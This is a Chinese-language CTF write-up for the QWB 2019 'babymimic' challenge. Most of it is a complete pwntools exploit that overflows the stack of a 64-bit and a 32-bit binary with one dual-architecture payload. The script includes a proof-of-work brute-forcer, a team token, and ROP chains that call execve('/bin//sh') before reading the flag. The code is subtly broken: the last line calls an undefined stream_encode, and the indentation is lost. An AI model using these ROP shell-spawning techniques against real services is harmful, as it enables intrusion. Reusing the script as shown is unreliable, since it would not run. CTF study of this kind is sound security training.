qwb2019-babymimic

介绍

qwb2019,PWN中最简单的一道题?(除了送分题)

分析程序

给了两个binary,一个64位一个32位。基本一样都是一个简单的栈溢出,ROP即可。但是两个成功都拿不到flag。

队友提示mimic,可能和拟态有关,后面证实要写一个64位和32位通用的payload。

利用方式

栈溢出,其中64位的比32位的要多溢出8位,所以可以通知32位的程序跳过64位的ropchain,直接跳到32的ropchain就好了。

用的ROPgadget是:# 0x0807c2b9 : add esp, 0x90 ; pop ebx ; pop esi ; pop edi ; ret

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from struct import pack
from pwn import *
from pwnlib.util.iters import *
from hashlib import sha256

context.log_level = "debug"

p = remote("49.4.51.149", 25391)
alphabet = ''
for i in range(255):
alphabet += chr(i)


def do_chal():
p.recvuntil(")=")
chal = p.readline()[:-1]
p.recvuntil("hex')=")
skr = p.readline()[:-1]
skr = unhex(skr)
print(chal, skr)

def fun1(s):
return sha256(skr+s).hexdigest() == chal
ans = mbruteforce(fun1, alphabet, 3)
# raw_input('chanl?')
p.sendline(enhex(skr+ans))


do_chal()
token = '2535753c4e39491b79d8c0273f164c4b'
p.sendlineafter('[+]teamtoken:', token)


# Padding goes here
ropchain = ''
ropchain += pack('<Q', 0x0000000000405895) # pop rsi ; ret
ropchain += pack('<Q', 0x00000000006a10e0) # @ .data
ropchain += pack('<Q', 0x000000000043b97c) # pop rax ; ret
ropchain += '/bin//sh'
ropchain += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
ropchain += pack('<Q', 0x0000000000405895) # pop rsi ; ret
ropchain += pack('<Q', 0x00000000006a10e8) # @ .data + 8
ropchain += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
ropchain += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
ropchain += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
ropchain += pack('<Q', 0x000000000000003b) # 59 = 0x3b
ropchain += pack('<Q', 0x000000000040a4f3) # mov rax, rdi ; ret
ropchain += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
ropchain += pack('<Q', 0x00000000006a10e0) # @ .data
ropchain += pack('<Q', 0x0000000000405895) # pop rsi ; ret
ropchain += pack('<Q', 0x00000000006a10e8) # @ .data + 8
ropchain += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
ropchain += pack('<Q', 0x00000000006a10e8) # @ .data + 8
ropchain += pack('<Q', 0x0000000000461645) # syscall ; ret
# Padding goes here
ropchain32 = ''
ropchain32 += pack('<I', 0x0806e9cb) # pop edx ; ret
ropchain32 += pack('<I', 0x080d9060) # @ .data
ropchain32 += pack('<I', 0x080a8af6) # pop eax ; ret
ropchain32 += '/bin'
ropchain32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
ropchain32 += pack('<I', 0x0806e9cb) # pop edx ; ret
ropchain32 += pack('<I', 0x080d9064) # @ .data + 4
ropchain32 += pack('<I', 0x080a8af6) # pop eax ; ret
ropchain32 += '//sh'
ropchain32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
ropchain32 += pack('<I', 0x0806e9cb) # pop edx ; ret
ropchain32 += pack('<I', 0x080d9068) # @ .data + 8
ropchain32 += pack('<I', 0x08056040) # xor eax, eax ; ret
ropchain32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
ropchain32 += pack('<I', 0x080481c9) # pop ebx ; ret
ropchain32 += pack('<I', 0x080d9060) # @ .data
ropchain32 += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
ropchain32 += pack('<I', 0x080d9068) # @ .data + 8
ropchain32 += pack('<I', 0x080d9060) # padding without overwrite ebx
ropchain32 += pack('<I', 0x0806e9cb) # pop edx ; ret
ropchain32 += pack('<I', 0x080d9068) # @ .data + 8
ropchain32 += pack('<I', 0x08056040) # xor eax, eax ; ret
ropchain32 += pack('<I', 0x080a8af6) # pop eax ; ret
ropchain32 += pack('<I', 0x0000000b) # 11
ropchain32 += pack('<I', 0x080495a3) # int 0x80

# 0x0807c2b9 : add esp, 0x90 ; pop ebx ; pop esi ; pop edi ; ret
add_esp = 0x0807c2b9


payload = "\x00" * 272 + p32(add_esp) + "\x00" * 4 + ropchain + ropchain32
p.recvuntil("try to pwn it?\n")
p.sendline(payload)

p.recvuntil('\n')
p.sendline('cat flag_02a7b07af3f3df6e000ce777c2e530e0')
flag = p.recv(0x40)

def stream_decode(flag, token):
s = ""
for i in range(0, len(flag)):
print i
s += chr(ord(flag[i]) ^ ord(token[i % len(token)]))
return s


print 'flag{' + stream_encode(flag.decode('hex'), token) + '}'